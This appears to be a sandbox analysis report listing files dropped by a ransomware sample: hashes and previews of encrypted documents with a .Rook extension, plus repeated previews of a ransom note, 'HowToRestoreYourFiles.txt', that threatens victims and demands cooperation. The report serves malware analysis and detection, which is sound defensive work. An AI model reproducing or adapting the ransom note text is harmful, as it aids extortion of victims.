SHA-256:	EF42C7DB29EE1F4A89D641CCAB62E6EA4EB7558168ECFB92352979C75FEC0239
SHA-512:	6A26546FA680C9268669595E5D2BB8B08D4A60989D6A5C8C6D6F63C01C2AFF1CA623D83C45A3EBB7738C91219F47197388F5C7148941287C0BDA9228829E229D
Malicious:	false
Preview:	.'sL.Ck.....0..YFZKKDZROVEXHIWV..:..N.DBw....UARELJDXJXCSHTPH.[T.I..p.<....w9SWGLMRRJSEIGOIXH.@5.y...r./.H...EYRRCAEYIYIDAZFYK.........p3.QIAICZQWEBEGEFKV...r.... p....VMUNNYYOCDVZVNLFB.uD..ak.}q.\..DRJAHLNPQBHYCZTY.L.m...Q*u.b..6tLMPPSQZAAYPORMHI&/.B"X.Z.:^`..I.FIRXNFDVQZSZAWNVt.{WvUN.lB.K....NFJJZSUQWRBLHJRBS@a..:......i.YNHPPIXZOEZBTJVV..P....:.......JTZPXEFMEGBQIWJWE%.B....y0..vz...VBYCRJHEAPKMQTFBy.....wk...9..!.FKBIVGOEKQTPROWJ...-b.3...!..RDOYJHFLFDPWAUBFZ0..- p!...-...EFIGEXIWYKDNDXZD.e6~..:k.qG....GEYCOTPSHBIHWNMF.2..%....R.....XRDUTNEVIVXRZAFT......x.h..1..@HNNFAZREEJMMAYLCEA...]L..x..."9.AUDJBTIBXIGLQAUATH.b..3~...lG...AVBCBZQUROXOPVYH........?..Z..\|cVEVNCAEAGPJZDVRS{3....-P...dUl.SKDCSULRFDCPIFAQO........3.g.JQFDAXWIIRQOXDDH.ubj9.1r.......BMTWWPRGTZDPGWXXO.o.nI..6a......=UJGTQKFTJYBFZUIM.[.X.o..T.q...RSFZXSFZBBCYPRSA.X.....I..w.Ot..REJOCEEMMPDKFUGGet.k7....W...Q.KBUNLSSHRUSLHBDFB.....D........CHGINQIOTMAKGKPQ....\|V.....8.UPKQZAJUMMQGLLGA...U.H..

C:\Users\user\Documents\BWETZDQDIB.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8450955031037175
Encrypted:	false
SSDEEP:	96:0bR1MVEpLHNEGVSFx7Ko4/AAUn5U50+NS43LPuLjv:KR1M+BNEEQgoiM5U50B43LPun
MD5:	19D931EECDFEFB8FEA106795D3A12BA0
SHA1:	F501B7474661DA539F88E145E36CF99230C4B19B
SHA-256:	5343C09C63B36A4E3328241CE68170EB9381ED7D57FC8FDC65BF624AADA2BF7B
SHA-512:	D89F6B0E355CDDA0920A2F680D232EFFC57BBB513BC8219B9ADE8641A46445FC0D5644B2A53BF213D48CE91D58B08D2758049BDD20E4A8E9A3CE8ED24667A591
Malicious:	false
Preview:	z.o>...0h.#..O..DOQRLAJJXRDBLDFBj..a^...l.Z7w..GAQRDCJJEFDABYZY...m...-.)7lI]Y.XAGPARMQITJGBTEIb....M.H.t.=X}.fGWWXSQPINXVZNICU*Uyg..X..G..{h..KSUOMUYXXJBNRHSW...L.....`.q..DIRHMCIKNAEITRDM...W.......=W..WAJBGSTOEKDCPMFHU...O^.......JMKIKGFSROJUBEFT..xg..}a...,\|.A.AOCQRTZMAWJSRSIP...G.$S.:.m....PJSZDERJOBZOXMTB0.s.06....pG8.}NFAZLAAQLHHEELXVS...C.K..._..0.+LEJZMVUVUNOVPOXEP].dE.......K.+.JYAFFYQCUVNCGKNU.........X..W..GQCDDWUZCRICRCAW.7.zF#.n...j.0fNVXJFJSEWZTEBNFJ.Df=..cx...7?.;HISPEAOYYRCQBCBD[B.Z..A....+.zr~OHGITMKUFLEYTFZJ4.A>{...%...\|./ZXZSQUHXXSALOPVLO.9...O.~7......WOWOIRHKGVVRHMXL.2.e..R.#.Ew._0.RVMAWAQNDVBPJGZQ..#Z.....cG...TKGQVYKDTHZMKOXX.......804..3..EBDTDWEOKDABJHENF....SYp....dj._KFZSMFYJWSBWYPLPe.M..>.......R.QHPGAVCMUTSEWICD;.H...v.[`Q.....VGDEQWVLICXXRGZL.d5..&..u..L..GABSFGBTCWHWOQFRE...F..('.pd..Qm.VFVHIYCSSHMLTNWX;#.`/.]...$jMJ(TGZFHOYCMPKIHBEGb....E`..)et....TMRYSLNISEZDXWUX6......uJym}....OEZVUJEMDKMJMIMPMD.. ..(.......JWOHIJSOTCNEGSSE..St~...

C:\Users\user\Documents\DBIQSSCSZX\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Documents\DUKNXICOZT.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.835730996942325
Encrypted:	false
SSDEEP:	96:CB4YhscR8sCHIsxvmIM7Ko4/AAUn5U50+NS43LPuLjv:CORcWsCzEILoiM5U50B43LPun
MD5:	61C829587AF5DAE8ED8D552E1A1E8838
SHA1:	190CF39A4E74B922AC40CEA8753344B45AAEDEC0
SHA-256:	7F2798E66E2A731212B24E781A092554AE481C6DB68AB1CDBA2B27BEEFC6DBE6
SHA-512:	46038CB6D78F40EEB8FF23036561C5EB674EFCB801F2AC69456A7063F2E7ED1A27EC3B7B53C58265571A89C513BB580B6E16654937AC6AB8C5EA706C0129AEF2
Malicious:	false
Preview:	..B.....;.....>.RQNKVCEQUFBSMCGT.K.....h...7./L.YDHXTQPNHHFHJTMIe.r..l...P.n2T.!IPWCYHGFUQMXUYJB...z:..#D..G..#AXLAZTIQUNTNPGER.!..e...4w.x....UNSGUFMHVRZKTGCT3...w..x.7:.z./SLPJQVAUHFJGITHW..L..qv..o...(9.UCPJMVLNEPNKDIZK48j.]\|.o4...G3?/RLUSQRQMRUGCFVVH..u#\|...2..W...%SYOTZHCRWDCIILVD .-...y-k...E..KZLEBJFPCBFWGQGW...M....W.\|..GSQGDDEIOTQFNFCPB.4f..gO..c}..!pYAPHBDYRWVLPTNZQ]W...E..V!.W.W.^OHUQUMEVRRXBUGYM...U....d{3...TODUBHKLIIDLWFSV..'..Ey.0.9.^..=AGSWTRHIIZFLUSWO6un&%@u..m.M~...RRYRKRAUTQQLIUHD.......\.x&Q...WFTTKYLQLJJTEVOLXq.^....e..ZYE LLOLZCIBSUKLPDJXJh7.vYJEgjs... .dOMTIWZMXNMUQTDLW....h....~...X.aDSWMKJERKRVNPKGT.%,A.l........9!MUUYOBVXGHJPZEQK..Wu(..........ZKEDUCRZKCLMBUTIS..Ry.%V._<c.F)SVSHOIOGCLWGQOYR.6.w~W......X.FTSTZBWQMCLPDYWEX..6P...q.F.e.@..DHOPGLEHJPRKNWCKiPg..z._....eNVXHVKISJRPDYQBK*....;)K....3M.sFTFSIVNPFOAYLIRB..iq{dF.v.-..S..JPFGRFFPXAQEEPWY....A.......w.{.RCBJRORHQBKISQFF..c....W. ....%ETKBEANFDVZBQHUOu._.)).z.x!y.wJEEGGSIDPOLYQHTC4...I%;U

C:\Users\user\Documents\DUKNXICOZT.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.836972025137487
Encrypted:	false
SSDEEP:	96:mUKbjihWE7Ko4/AAUn5U50+NS43LPuLjv:VKbWhwoiM5U50B43LPun
MD5:	78D55D03A65080415F1F32F7D2B4CF76
SHA1:	37349C14D10FB5FC86C92C17DEC6EEA7E5EFDE44
SHA-256:	BFC06962168996B1D8079AE909D66DCAB3D551A535AA0644C06C1CB5105E84B8
SHA-512:	DC8F72BCFC6B26582D1E3D27AF685F8F41BABE7BAFE5A33CCD2F304D1CCAEF1BB92E582FB9DFBE631102BC5E0CF173BB84939372CF394EC9EB949BD8EA612F3E
Malicious:	false
Preview:	'.'MY..u.....X.>RQNKVCEQUFBSMCGTi.L..O......b...YDHXTQPNHHFHJTMI/...D...?..o.IPWCYHGFUQMXUYJBfH..QU6=..T.!...AXLAZTIQUNTNPGER.5...[..'.5.\|.[UNSGUFMHVRZKTGCT..A..M.L.L..Ss..SLPJQVAUHFJGITHW1...}...3.&..9.UCPJMVLNEPNKDIZK.4I.T#U..Y...bj_RLUSQRQMRUGCFVVH.S=.zj..!....(SYOTZHCRWDCIILVD..].a..K.....oKZLEBJFPCBFWGQGW.7....j...{.G.SQGDDEIOTQFNFCPBQM .(....4.U$.YAPHBDYRWVLPTNZQ.T.-...3q.....0OHUQUMEVRRXBUGYM...s.F.V.V!Z.7;0TODUBHKLIIDLWFSV..]v.....'..Y>..AGSWTRHIIZFLUSWO~....7s~%u...+RRYRKRAUTQQLIUHD....-V ..QhyvYFTTKYLQLJJTEVOLX.AF.....-...jMhLOLZCIBSUKLPDJXJ.h.Q.\|.../A.....OMTIWZMXNMUQTDLW.4h..b..Q.G.d0.DSWMKJERKRVNPKGT?.....qr..d.=..MUUYOBVXGHJPZEQK.5..7(:}7.... .8ZKEDUCRZKCLMBUTIs`....{ .~..]0.BSVSHOIOGCLWGQOYR...c...p[S>...nTSTZBWQMCLPDYWEX.A.6..T..'..Tp.DHOPGLEHJPRKNWCK.).....bwn...ANVXHVKISJRPDYQBK\.U.u.IYM.@.sJ?.FTFSIVNPFOAYLIRB....W...>_....JPFGRFFPXAQEEPWY...q.w...:.f..RCBJRORHQBKISQFF..gB...3JyL.mO.ETKBEANFDVZBQHUO.h....!.U.%`qeT.JEEGGSIDPOLYQHTC.B,]EF.'

C:\Users\user\Documents\DWTHNHNNJB\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Documents\ERWQDBYZVW\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Documents\FAAGWHBVUU\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Documents\GNLQNHOLWB.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.845522729313536
Encrypted:	false
SSDEEP:	96:sFPyFEx6CDBU3gkceEFO7Ko4/AAUn5U50+NS43LPuLjv:spy2Yw207oiM5U50B43LPun
MD5:	A0D524B7D61B1C803C614D54C66DDC1C
SHA1:	F9047361BF91A78E1659A5E705A0F655CD8D5FF2
SHA-256:	B443723465E2E82CD39FABA74BC36B658D3F2B6EE9FDB101683001180D35FB33
SHA-512:	18B9B131E118EBB3D0F0BDF272E04EE760FAD33B6FBD18A6C3F54CD0CCD72164180992C960774B59ED9A8FCB5140F29BD9A76429A31B4803115FBF0D0FA9AB8B
Malicious:	false
Preview:	7D.b..\|....E..7TLNFGJNNXMGUZOMC.ve....H..OPW#.VRYLBVHOHRRAZCZO.<2w..O...}....LDYZAFJGGGUXKDFD..t.B.X...(f.=~.KNJPXNWQKOEVEVLWn...m,..%..!DWoDUZGGIUHFXGBKGLA9.....^....0....HYWEKXXBEZZVPBKV..........[)doDVQNAPBMPJOZNNFCDN.......s..[bgSRGZTGXSYUNNLKZK..8T..p..0.....;LHMWTCZYYSGNSZQW..8a.;.&!>8.^.~lZVFQGHKVENDXCIHQY....2...zX..l.3JHTLGYJROSCXNGTCa!0][..lB.N.....XTRIYCZVDEDWKBEH.N.5.dD.l...j.VFLHQRXMYLCHQAJK._.....x[i..:}wHVBDNWQMACXDCGCP.vs.P...i.....xDUJMXEBPBCWJDOKOSx.Y..\..0.b."YQVAUUYDVCYUHDRU...`./(b.v...6.SHICTVCMWIDPOKQMq.q$....Fg..^RWWFNEKDLAVDZNBHH....gR.m.1.M\|. qSVJTEIAUJEHUVHRJ.-o..>.E&.B-`.Y.DNGHYAESSKWHOCXLQ$..A&>....GO.. QEPWVDSSTKTYQDQT..`.Tf...Oi...RECDIFCMPKXTYYNG..'..g....O...ULORZGHRQIQWLMHM........b2..(.bRMPWAGGPUJXOOYWOG..jn....-....L..LSJECCOVZVTAPKGA.....D...Z...8BXBKKPKPJFJOKZKMP......8"......}.KEJJHHOVFETVBBFB....;_.F....l..RJUKYZTGOFQUAVOG...2./.i.xm._UIRYUATBQRRVCNMFM.IP.!o{..."%.h.CICPBMURXQOIITZC.G(a..MvO.......ALRYCNLFILDCLQXD...{...X

C:\Users\user\Documents\GNLQNHOLWB.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.842329525353101
Encrypted:	false
SSDEEP:	96:z5x26DSA0yn3b7Ko4/AAUn5U50+NS43LPuLjv:NuI3qoiM5U50B43LPun
MD5:	138135FBDD18037ED56DB164DADEBCC2
SHA1:	1DE11A7A803530E9D9FD4AF7C1F19ED62676DEEC
SHA-256:	83B1EE6C96014B80D103178B036D71B3EA508894F9D178013EDFB24B003177D2
SHA-512:	8AEC236720ECDDA059BD4736D1063A44CD19EF1E9DE16EFD275F24B7B3FA1C8FF94717F88BD341DC892D5FDA65D9D38D2E3BA0B55973F9D83D9FD15BDC1631AE
Malicious:	false
Preview:	~..0..B..o\.l.{TLNFGJNNXMGUZOMC..n.".P....Q/2,.VRYLBVHOHRRAZCZO..1.....J.@\|.#..LDYZAFJGGGUXKDFD......'\|....U.NtKNJPXNWQKOEVEVLW."...UT...u...l.DUZGGIUHFXGBKGLA.b....j#..;<..HYWEKXXBEZZVPBKV?....4..QF.&..VQNAPBMPJOZNNFCD.....`.....\|.SRGZTGXSYUNNLKZKr....y...z<N...LHMWTCZYYSGNSZQW.5I.pDcX..@vJh..ZVFQGHKVENDXCIHQ.8....2.F..+..JHTLGYJROSCXNGTC5.PC.>Drz.@9.M0.XTRIYCZVDEDWKBEH.....g.u..Xk..VFLHQRXMYLCHQAJK...b....:.Z.....HVBDNWQMACXDCGCP.....O./An"...O.UJMXEBPBCWJDOKOS.m.....0....'U<IYQVAUUYDVCYUHDRU..p...i.Z_..F._~SHICTVCMWIDPOKQM.Im'Ez.x`..U~.^.WWFNEKDLAVDZNBHH_..X......k...1.SVJTEIAUJEHUVHRJHy.......7.Mk..DNGHYAESSKWHOCXLE..".M.....k....QEPWVDSSTKTYQDQT.Vc.?..<..\|.6*a.RECDIFCMPKXTYYNG...T{..i... :..ULORZGHRQIQWLMHM;..v.j..2.L$8./.MPWAGGPUJXOOYWOG`.q...^&...@..LSJECCOVZVTAPKGA6...._.!..l...DXBKKPKPJFJOKZKMP.%.+I......,f.qKEJJHHOVFETVBBFB...1.[....-j6-.RJUKYZTGOFQUAVOG>;.9..1.Vb.C[.45IRYUATBQRRVCNMFM8b..]..#\"5....[CICPBMURXQOIITZCY....X`.c..>....ALRYCNLFILDCLQXD....p."

C:\Users\user\Documents\GNLQNHOLWB\BWETZDQDIB.pdf.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.8413641724499
Encrypted:	false
SSDEEP:	96:zxp4lTkYjXK9f7Ko4/AAUn5U50+NS43LPuLjv:H4lTHjXKwoiM5U50B43LPun
MD5:	DE6A3B4E1898C56873D2B8501216DBB7
SHA1:	3E594888BE2CA4F2ECB4B1F70CEC3E86B686504D
SHA-256:	45E6D86AEE607D8C25D020ABB6C9AC90A064186691FE3408CA54DA731271D89F
SHA-512:	3CF6FCD8DA60BB15B97AF6709327FDD7D17F0240C3A8719CF48A88582E171F2B6A51088E43788A9EA6D2F2961E9381AACFC7232FD90CD0C21135B3DF5C7A7893
Malicious:	false
Preview:	...Z.7....fx...DOQRLAJJXRDBLDFB?a...~...d%.Y~\|.GAQRDCJJEFDABYZY.....J>.IMnB-IJ.XAGPARMQITJGBTEI.L..+...b.r..GWWXSQPINXVZNICU..E\...M...].;KSUOMUYXXJBNRHSWm\|6dP..M.V.Ni..DIRHMCIKNAEITRDM...j.Ctp....E.)AJBGSTOEKDCPMFHU5..a..`.....6.).JMKIKGFSROJUBEFTYzA.c..._7....]AOCQRTZMAWJSRSIPB~.\|.....A`C...PJSZDERJOBZOXMTB9.;9.[...j...-..FAZLAAQLHHEELXVS.(wl.......t.x.LEJZMVUVUNOVPOXE.^....Jv.k.xv..JYAFFYQCUVNCGKNU....-.n...a].B.GQCDDWUZCRICRCAW.G!D.. ......u.NVXJFJSEWZTEBNFJ..........._...HISPEAOYYRCQBCBD',.`:..t..$@\|...OHGITMKUFLEYTFZJ1h2.........M.XZSQUHXXSALOPVLO...SU....:H.$..WOWOIRHKGVVRHMXL....L(.....1...RVMAWAQNDVBPJGZQ...^.1..Q.....VTKGQVYKDTHZMKOXX9.{G..Gh.-h.I..PEBDTDWEOKDABJHEN..1.B~.....;..rKFZSMFYJWSBWYPLP...-...J.B.r/.x.QHPGAVCMUTSEWICD..CP.Pi.#.Y!L..oVGDEQWVLICXXRGZL...&.s.....V.=ABSFGBTCWHWOQFRE@..wc...n...U.,VFVHIYCSSHMLTNWX.DU...F..v5.W"{TGZFHOYCMPKIHBEG..:&.:..8....E.CTMRYSLNISEZDXWUX..GkgF.g0O......OEZVUJEMDKMJMIMP....V..w..%.#]26JWOHIJSOTCNEGSSE...+....

C:\Users\user\Documents\GNLQNHOLWB\DUKNXICOZT.jpg.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.84479312904108
Encrypted:	false
SSDEEP:	96:TmRA9i/9sXK57Ko4/AAUn5U50+NS43LPuLjv:Tm69iotoiM5U50B43LPun
MD5:	0BED359C5584701E71A48237F09C4DB5
SHA1:	544F723A45A2DFC1EC5FB5791F9F403E3CC2784A
SHA-256:	5323E50648A96991B2B0A47C88DA36488D7857F49A5601C4F36DB36BCB24AAB9
SHA-512:	9E6EF18FCB29F0CA867E7F2902381CE5FCD4CBE3C9B3CF52ECCBDED9E23AC84F3D18C9356D2BE3123B101C90F166F83E84681F753E50B5D363A4AD180B52FEF3
Malicious:	false
Preview:	x..e..n5@.JA..9.RQNKVCEQUFBSMCGT..+.sVB.u ~'.^kYDHXTQPNHHFHJTMI.r...M..w.R..$.IPWCYHGFUQMXUYJB)....ke#R{..z.AXLAZTIQUNTNPGERo...u.c.dY..Yq.UNSGUFMHVRZKTGCT<..+.N..`j.@.?.SLPJQVAUHFJGITHW.d.2.WDd....?..HUCPJMVLNEPNKDIZK..9.N.......WRLUSQRQMRUGCFVVH~..._...i<.l..K.SYOTZHCRWDCIILVD[./i...C~s...Q.KZLEBJFPCBFWGQGW...K....K....[.cSQGDDEIOTQFNFCPB.jm....(.8!..u_YAPHBDYRWVLPTNZQ~2..`...(..Mm..OHUQUMEVRRXBUGYMc....s.B.M.BrM2TODUBHKLIIDLWFSVJ...[B..M....fs.AGSWTRHIIZFLUSWO./=.f.w.#7a..R.RRYRKRAUTQQLIUHD..>..~$.......2cFTTKYLQLJJTEVOLX.v." .g.....U..LOLZCIBSUKLPDJXJ.{.s...~qx..J6WOMTIWZMXNMUQTDLW~.<V...=."..<'.DSWMKJERKRVNPKGT.eO\P..F.7.R..F.MUUYOBVXGHJPZEQKX......b...G.D..ZKEDUCRZKCLMBUTI~Rsm:.:.\|..n..}.SVSHOIOGCLWGQOYRi4.5.......L./=TSTZBWQMCLPDYWEX....).g....f...[DHOPGLEHJPRKNWCK*4..L...g..H..QNVXHVKISJRPDYQBK..f#.3(..o..y..FTFSIVNPFOAYLIRB.&2H..>[...:K.u_JPFGRFFPXAQEEPWY<W...ea....\..b.RCBJRORHQBKISQFFT2.R.....f.....ETKBEANFDVZBQHUO..U.....?.....fJEEGGSIDPOLYQHTC..P....

C:\Users\user\Documents\GNLQNHOLWB\GNLQNHOLWB.docx.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.836236431062736
Encrypted:	false
SSDEEP:	96:9wfxMU6kw47fr2tBL7Ko4/AAUn5U50+NS43LPuLjv:6fxqGH2t8oiM5U50B43LPun
MD5:	B9732DA9DA962E97471E3FC341BA664B
SHA1:	5D366DD183AA5366146735783C26356CA5F441F1
SHA-256:	7415343CBC66BB67BA97264E4C800153DC84106712BBE3033C028797351904AB
SHA-512:	717FABBD788DB787605DA48E6EAD56B6BABD3865503382398A131B0131D980FC7E892E4CB1CC68F71E4F3529F2C8C315D673CD72B212FC798BF1FF7DE2776A38
Malicious:	false
Preview:	.fJZ ..1..U.Q.XTLNFGJNNXMGUZOMC....a4..q#...g.YVRYLBVHOHRRAZCZO..yQ......[.dELDYZAFJGGGUXKDFD...\V.=q.Xq?. jKNJPXNWQKOEVEVLW"l-....g.N.0}..7DUZGGIUHFXGBKGLAO.....A...!o.HYWEKXXBEZZVPBKV.h...,V.W...VQNAPBMPJOZNNFCDY.L.C_..(#=.....SRGZTGXSYUNNLKZK.PI..q....k.;..LHMWTCZYYSGNSZQW.......h...f2=.ZVFQGHKVENDXCIHQ=.@..)..jz.%D..KJHTLGYJROSCXNGTC_.}.....$....8..XTRIYCZVDEDWKBEH.E.E..1.....q...VFLHQRXMYLCHQAJKv-.....G.g....iHVBDNWQMACXDCGCP......)yI.feOX.jUJMXEBPBCWJDOKOSV......\|.s%..YQVAUUYDVCYUHDRU.Fi......mD.T..zSHICTVCMWIDPOKQM..l..\6.=._\8...WWFNEKDLAVDZNBHH.M..K....}.O...\|SVJTEIAUJEHUVHRJ.8M....e}..Xv.DNGHYAESSKWHOCXL..}9.........}.KQEPWVDSSTKTYQDQT>..<.n,pC..f....RECDIFCMPKXTYYNG.V_.f..7.....wZ.ULORZGHRQIQWLMHM..#.0...y.7g.I.MPWAGGPUJXOOYWOG.k..Q.R..p.y..."LSJECCOVZVTAPKGA;..O.t....5=.. XBKKPKPJFJOKZKMP...0E..eE6...4..KEJJHHOVFETVBBFB.1....le.L@O.X..RJUKYZTGOFQUAVOG.:~p..Kl'XV/#./IRYUATBQRRVCNMFM.id..V........CICPBMURXQOIITZC..T.t..g=x..^..fALRYCNLFILDCLQXD&.1St..

C:\Users\user\Documents\GNLQNHOLWB\HowToRestoreYourFiles.txt

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	2500
Entropy (8bit):	4.814779713246776
Encrypted:	false
SSDEEP:	48:LLgLRIpHKeZDesgKpXw5IJM8M6SZRXJRgcf6jk/wwkOSX38aieJRuor:LkeZDewAiJFSZFzyjk/wV3ucRu4
MD5:	00F71CDE522689585EAA9C62385AFA22
SHA1:	350E319806F7A71267A5E4A749EB190EAD38DBB0
SHA-256:	B14EC2FCCCAC5059464E800EDF56049C0277124ABD60EE49C1F726861DF925BF
SHA-512:	47442D335F16E259C4593370467C741AC2B41F329330AFDD649B89B44C4233EDD7D2AF70883403993D6022C617235C20B89AE667CA4B3F82D678836ADC34F4DF
Malicious:	false
Preview:	-----------Welcome. Again. --------------------..[+]Whats Happen?[+]....Your files are encrypted,and currently unavailable. You can check it: all files on you computer has expansion robet.....By the way,everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER).....[+] What guarantees?[+]....Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests.....To check the file capacity, please send 3 files not larger than 1M to us, and we will prove that we are capable of restoring.....If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data,cause just we have the private key. In practise - time is much more valuable than money.....If we find that a security vendor or law enforcement agency pretends to be you to negotiate with u

C:\Users\user\Documents\GNLQNHOLWB\MOCYNWGDZO.mp3.Rook

Download File

Process:	C:\Users\user\Desktop\ZunmmW7pe5.exe
File Type:	data
Category:	dropped
Size (bytes):	3624
Entropy (8bit):	7.847029439885833
Encrypted:	false
SSDEEP:	96:FRzDF858C3KrCn7Ko4/AAUn5U50+NS43LPuLjv:Hzo6rZoiM5U50B43LPun
MD5:	1FD03287F8C61BDC90A53EAE07BF10A1
SHA1:	7116347E67C37AC4B53490F7F43D85FB2A5D5C1C
SHA-256:	ECE4FDE8040F0E8C9268F533A35536C5CA2641DC276C68078C37D7B210C52EE3
